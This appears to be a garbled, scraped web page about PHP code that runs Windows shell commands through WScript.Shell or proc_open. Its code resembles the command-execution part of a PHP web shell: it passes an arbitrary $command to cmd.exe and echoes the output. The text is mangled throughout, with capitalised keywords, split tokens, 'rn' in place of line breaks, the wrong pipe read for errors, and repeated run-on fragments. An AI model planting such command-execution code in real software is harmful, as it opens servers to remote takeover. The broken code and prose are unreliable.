Php calls the com component wscript. shell to execute the doscommand. Php calls the com component wscript. shell executes the doscommand p (hr); if ($ execfuncwscriptIS_WINIS_COM) {$ wshnewCOM (WScript. shell); $ exec $ wsh-exec (cmd. /php calls the com component wscript. shell to execute the doscommand
P ('
');
If ($ execfunc = 'wscript' & IS_WIN & IS_COM ){
$ Wsh = new COM ('wscript. shell ');
$ Exec = $ wsh-> exec('cmd.exe/C'. $ command );
$ Stdout = $ exec-> StdOut ();
$ Stroutput = $ stdout-> ReadAll ();
Echo $ stroutput;
} Elseif ($ execfunc = 'proc _ open' & IS_WIN & IS_COM ){
$ Descriptorspec = array (
0 => array ('pipe', 'r '),
1 => array ('pipe', 'w '),
2 => array ('pipe', 'w ')
);
$ Process = proc_open ($ _ SERVER ['comspec '], $ descriptorspec, $ pipes );
If (is_resource ($ process )){
Fwrite ($ pipes [0], $ command. "rn ");
Fwrite ($ pipes [0], "exitrn ");
Fclose ($ pipes [0]);
While (! Feof ($ pipes [1]) {
Echo fgets ($ pipes [1], 1024 );
}
Fclose ($ pipes [1]);
While (! Feof ($ pipes [2]) {
Echo fgets ($ pipes [1], 1024 );
}
Fclose ($ pipes [2]);
Proc_close ($ process );
}
Component wscript. shell executes the doscommand p ('HR width = 100% noshade/pre'); if ($ execfunc = 'wscript' IS_WIN IS_COM) {$ wsh = new COM ('wscript. shell '); $ exec = $ wsh-exec ('command ....